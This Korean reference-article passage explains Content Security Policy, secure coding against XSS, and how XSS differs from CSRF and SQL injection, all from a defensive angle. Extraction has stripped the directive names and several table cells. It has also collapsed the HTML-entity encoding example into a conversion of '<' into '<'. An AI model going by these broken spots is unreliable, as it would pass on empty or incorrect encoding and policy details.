5.3. 콘텐츠 보안 정책
콘텐츠 보안 정책(Content Security Policy, CSP)은 XSS 및 데이터 주입 공격을 완화하기 위해 설계된 컴퓨터 보안 표준이다. 웹사이트 관리자가 클라이언트(예: 웹 브라우저)에서 실행될 수 있는 스크립트 및 기타 리소스의 출처를 제어할 수 있도록 하는 HTTP 응답 헤더 또는 HTML <meta> 태그를 통해 정의된다. 기본적으로 동일 출처 정책은 출처가 다른 리소스의 로드를 제한하지만, CSP는 이를 더욱 세분화하여 허용할 출처를 명시적으로 지정함으로써 공격자가 악성 콘텐츠를 주입하는 것을 방지한다.
CSP는 정책 지시문(Directive)을 통해 다양한 유형의 리소스를 제어한다. 주요 지시문과 그 역할은 다음과 같다.
지시문 | 제어 대상 |
|---|---|
| 다른 지시문이 명시되지 않은 리소스에 대한 대체 출처를 정의한다. |
| 자바스크립트 파일 및 인라인 스크립트의 실행을 제어한다. |
| CSS 스타일시트 및 인라인 스타일의 로드를 제어한다. |
| 이미지 파일의 로드를 제어한다. |
| XMLHttpRequest, WebSocket 등 네트워크 연결 대상 출처를 제한한다. |
| 웹 폰트 파일의 출처를 제한한다. |
정책은 출처 목록(예: 'self', https://trusted.com), 또는 'none', 'unsafe-inline', 'unsafe-eval' 같은 키워드로 구성된다. 예를 들어, script-src 'self';는 동일 출처의 스크립트만 실행을 허용하며, 인라인 스크립트나 eval() 함수의 사용은 차단된다.
CSP를 효과적으로 구현하기 위해서는 보고서 전송 기능을 활용하는 것이 중요하다. report-uri 또는 report-to 지시문을 사용하면 정책 위반 사항이 지정된 서버로 자동 보고된다[5]. 이를 통해 실제 사용 환경에서의 정책 위반을 모니터링하고, 정책을 점진적으로 강화(예: Content-Security-Policy-Report-Only 헤더 사용)할 수 있다. CSP는 XSS 방어의 최종 방어선으로 작동하며, 입력값 검증 및 출력값 인코딩과 같은 다른 보안 조치를 대체하는 것이 아니라 보완한다.
6. 개발자를 위한 보안 코딩 가이드
6. 개발자를 위한 보안 코딩 가이드
XSS 방지를 위한 보안 코딩의 핵심은 "신뢰할 수 없는 모든 데이터는 검증하고, 출력 시에는 반드시 인코딩한다"는 원칙에 기반합니다. 개발자는 애플리케이션의 모든 입력 지점(사용자 입력, URL 파라미터, 쿠키, 데이터베이스 조회 결과 등)을 신뢰할 수 없는 데이터로 간주하고 처리해야 합니다.
입력 단계에서는 화이트리스트 기반의 검증을 적용하는 것이 효과적입니다. 허용된 문자 집합, 데이터 형식(예: 이메일, 숫자), 길이를 엄격하게 정의하고 이를 벗어나는 입력은 거부하거나 정제합니다. 출력 단계에서는 데이터가 삽입되는 컨텍스트(HTML 본문, 속성, JavaScript, CSS, URL)에 맞는 적절한 인코딩 함수를 반드시 사용해야 합니다. 예를 들어, HTML 본문에 출력할 때는 <를 <로 변환하는 HTML 엔티티 인코딩을, HTML 속성 내부에서는 큰따옴표를 "로 변환하는 인코딩을 적용합니다. 많은 현대 웹 프레임워크는 기본 템플릿 엔진에서 자동 이스케이프 기능을 제공하지만, 이를 비활성화하거나 innerHTML과 같은 안전하지 않은 API를 사용할 때는 각별한 주의가 필요합니다.
또한, 콘텐츠 보안 정책을 구현하여 스크립트 실행 출처를 제한하고, 쿠키에는 HttpOnly 및 Secure 플래그를 설정하여 클라이언트 측 스크립트의 접근을 차단하는 것이 좋습니다. 정기적인 보안 코드 리뷰와 정적 분석 도구를 활용하여 취약점을 조기에 발견하는 것도 중요합니다.
보안 코딩 항목 | 권장 사례 | 주의사항 |
|---|---|---|
입력 검증 | 화이트리스트 방식 채택, 정규식 활용 | 블랙리스트 방식은 우회 가능성이 높음 |
출력 인코딩 | OWASP ESAPI, Java Encoder 등 신뢰할 수 있는 라이브러리 사용 | 컨텍스트를 잘못 판단하여 인코딩 누락 방지 |
쿠키 보안 | 세션 쿠키에 | 민감 정보를 평문 쿠키에 저장하지 않음 |
CSP 설정 |
| 너무 느슨한 정책( |
7. 관련 보안 취약점 및 비교
7. 관련 보안 취약점 및 비교
XSS는 웹 애플리케이션의 주요 취약점 중 하나이지만, CSRF 및 SQL 인젝션과 같은 다른 공격 벡터와는 구별되는 고유한 특성을 가진다. 이들 취약점은 모두 사용자 입력 처리와 관련되어 있으나, 공격의 목표와 작동 방식에서 차이를 보인다.
XSS와 CSRF의 핵심적인 차이는 공격의 초점에 있다. XSS는 공격자가 웹사이트에 악성 스크립트를 주입하여 다른 사용자의 브라우저에서 실행되도록 하는 클라이언트 측 공격이다. 반면, CSRF는 인증된 사용자의 브라우저를 통해 사용자의 의지와 무관하게 권한이 필요한 작업(예: 비밀번호 변경, 송금)을 서버에 요청하는 공격이다. CSRF는 정상적인 요청을 위조하는 데 중점을 두며, 악성 스크립트 실행 자체가 목표가 아니다. 방어 측면에서 XSS는 주로 입력/출력 검증과 콘텐츠 보안 정책으로 대응하는 반면, CSRF는 CSRF 토큰이나 SameSite 쿠키 속성을 사용하여 예방한다.
비교 요소 | ||
|---|---|---|
공격 목표 | 사용자 브라우저에서 스크립트 실행 | 인증된 사용자의 권한으로 서버에 특정 행위 요청 |
주요 영향 | 세션 탈취, 정보 유출, 사이트 변조 | 권한 상승, 데이터 불법 변경 |
주요 방어 기법 | 입력 검증, 출력 인코딩, CSP | CSRF 토큰, Referer 검증, SameSite 쿠키 |
한편, XSS는 SQL 인젝션과도 유사한 점이 있다. 둘 다 사용자 입력을 적절히 검증하거나 이스케이프 처리하지 못할 때 발생하는 인젝션 계열의 취약점이다. 그러나 SQL 인젝션은 주입된 데이터(주로 SQL 쿼리)가 데이터베이스 서버에서 실행되어 데이터를 조작하거나 유출하는 것을 목표로 한다. 반면 XSS는 주입된 스크립트가 최종 사용자의 웹 브라우저에서 실행되는 것을 목표로 한다. 공격 지점이 다르기 때문에 방어 전략도 달라진다. SQL 인젝션은 매개변수화된 쿼리나 ORM 사용으로 방어하고, XSS는 출력값에 대한 HTML 인코딩이 필수적이다. 종종 하나의 취약한 입력점에서 XSS와 SQL 인젝션이 동시에 가능한 경우도 있으며, 이는 포괄적인 입력 검증과 상황에 맞는 출력 처리의 중요성을 보여준다.
7.1. CSRF와의 차이점
7.1. CSRF와의 차이점
CSRF와 XSS는 모두 웹 애플리케이션의 주요 클라이언트 사이드 공격 방식이지만, 그 목표와 작동 원리는 근본적으로 다릅니다.
CSRF는 사용자의 권한을 이용해 의도하지 않은 요청을 서버에 전송하는 공격입니다. 공격자는 피해자가 로그인한 상태에서 악성 링크를 클릭하거나 악성 사이트를 방문하도록 유도합니다. 이를 통해 피해자의 권한으로 서버에 요청(예: 비밀번호 변경, 송금)이 전송되어 실행됩니다. 이 공격의 핵심은 서버가 사용자의 인증 정보(예: 세션 쿠키)를 신뢰하고, 요청이 정당한 사용자로부터 왔는지 구분하지 못하는 데 있습니다. 따라서 CSRF 방어는 주로 서버 측에서 요청의 출처를 확인하는 토큰(CSRF 토큰)을 사용하거나, SameSite 쿠키 속성을 적용하는 방식으로 이루어집니다.
반면, XSS는 웹사이트 자체에 악성 스크립트를 주입하여 다른 사용자를 공격하는 방식입니다. 공격의 최종 목표는 사이트를 방문하는 다른 사용자의 브라우저입니다. 주입된 스크립트는 피해자의 브라우저에서 실행되어 세션 쿠키 탈취, 페이지 변조, 악성 코드 유포 등의 피해를 일으킵니다. XSS 방어는 주로 사용자 입력값의 철저한 검증과 필터링, 그리고 출력값에 대한 적절한 인코딩을 통해 이루어집니다.
다음 표는 두 취약점의 주요 차이점을 요약합니다.
구분 | ||
|---|---|---|
공격 목표 | 서버 측의 권한 상승 작업 실행 | 클라이언트(사용자) 브라우저 제어 |
공격 벡터 | 피해자가 악성 요청을 보내도록 유도 | 웹사이트에 악성 스크립트를 삽입 |
피해 영향 | 사용자 권한으로 서버의 작업 실행 | 사용자 브라우저에서 스크립트 실행(쿠키 탈취 등) |
주요 방어 기법 | CSRF 토큰, SameSite 쿠키, Referer 검증 | 입력값 검증, 출력값 인코딩, CSP |
두 공격이 결합되는 경우도 있습니다. 예를 들어, XSS 공격을 통해 먼저 사용자의 브라우저를 장악한 후, 그 컨텍스트에서 CSRF 공격을 수행하여 서버 측에 추가적인 악성 요청을 보낼 수 있습니다[6]. 따라서 웹 애플리케이션 보안을 강화하려면 이 두 가지 취약점에 대한 방어를 모두 고려해야 합니다.
7.2. SQL 인젝션과의 연관성
7.2. SQL 인젝션과의 연관성
XSS와 SQL 인젝션은 모두 웹 애플리케이션에서 발생하는 대표적인 인젝션 공격의 유형이다. 두 공격의 근본적인 원리는 사용자 입력값이 애플리케이션에 의해 신뢰할 수 있는 코드나 쿼리로 해석되어 실행된다는 점에서 공통점을 가진다. 그러나 주입되는 데이터의 종류와 공격의 최종 목표, 영향 범위에는 명확한 차이가 존재한다.
XSS는 주로 웹 브라우저에서 실행되는 자바스크립트와 같은 클라이언트 측 스크립트를 주입하여 다른 사용자를 공격하는 데 초점을 맞춘다. 반면, SQL 인젝션은 애플리케이션의 백엔드에서 동작하는 데이터베이스 쿼리에 악의적인 SQL 코드를 주입하여 데이터를 조작하거나 탈취하는 것을 목표로 한다. 간단히 말해, XSS의 표적은 웹사이트의 다른 사용자라면, SQL 인젝션의 표적은 데이터베이스 서버 자체이다.
두 취약점은 종종 동일한 애플리케이션 내에서 함께 발견될 수 있으며, 하나의 공격이 다른 공격의 발판이 되기도 한다. 예를 들어, SQL 인젝션을 통해 데이터베이스에서 훔친 사용자 데이터(세션 토큰, 개인정보 등)가 웹 페이지에 출력될 때 적절한 인코딩 없이 그대로 노출된다면, 이는 XSS 취약점으로 이어질 수 있다. 반대로, XSS 공격을 통해 관리자의 세션을 탈취한 후, 그 권한으로 관리자 인터페이스를 통해 SQL 인젝션 공격을 수행하는 복합 공격 시나리오도 가능하다.
방어 측면에서도 유사점과 차이점이 공존한다. 두 공격 모두에 대한 최선의 방어는 입력값 검증과 출력값 인코딩의 원칙을 철저히 적용하는 것이다. 하지만 적용되는 기술은 다르다. SQL 인젝션 방지를 위해서는 사용자 입력을 쿼리 파라미터로 처리하는 준비된 문장을 사용해야 한다. XSS 방지를 위해서는 출력되는 데이터의 컨텍스트(HTML, 자바스크립트, URL 등)에 맞는 적절한 인코딩(예: HTML 엔티티 인코딩)을 적용해야 한다. 따라서 포괄적인 웹 애플리케이션 보안을 위해서는 이 두 가지 방어 기법을 모두 구현하는 것이 필수적이다.
